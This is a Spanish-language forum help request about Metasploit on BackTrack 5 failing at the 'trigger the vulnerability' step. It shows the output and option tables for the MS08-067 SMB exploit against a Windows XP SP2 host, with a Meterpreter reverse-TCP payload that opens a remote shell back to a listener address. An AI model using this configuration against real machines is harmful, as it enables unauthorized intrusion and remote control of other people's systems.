Tema: Problema raro con metasploit

saludos, desde q reinstale bt5 estoy teniendo un problema a la hora de intentar explotar una vulnerabilidad siempre se me queda en :
[*] Attempting to trigger the vulnerability...

y me devuelve a la linea de msf

por ejemplo en una intrusión a un windows xp vulnerable me aparece esto
[*] Started reverse handler on 10.125.21.224:4444[*] Automatically detecting the target...[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) >



Module options (exploit/windows/smb/ms08_067_netapi):


Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.125.21.229 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)




Payload options (windows/meterpreter/reverse_tcp):


Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 10.125.21.224 yes The listen address
LPORT 4444 yes The listen port




Exploit target:


Id Name
-- ----
0 Automatic Targeting


creo que todo esta correcto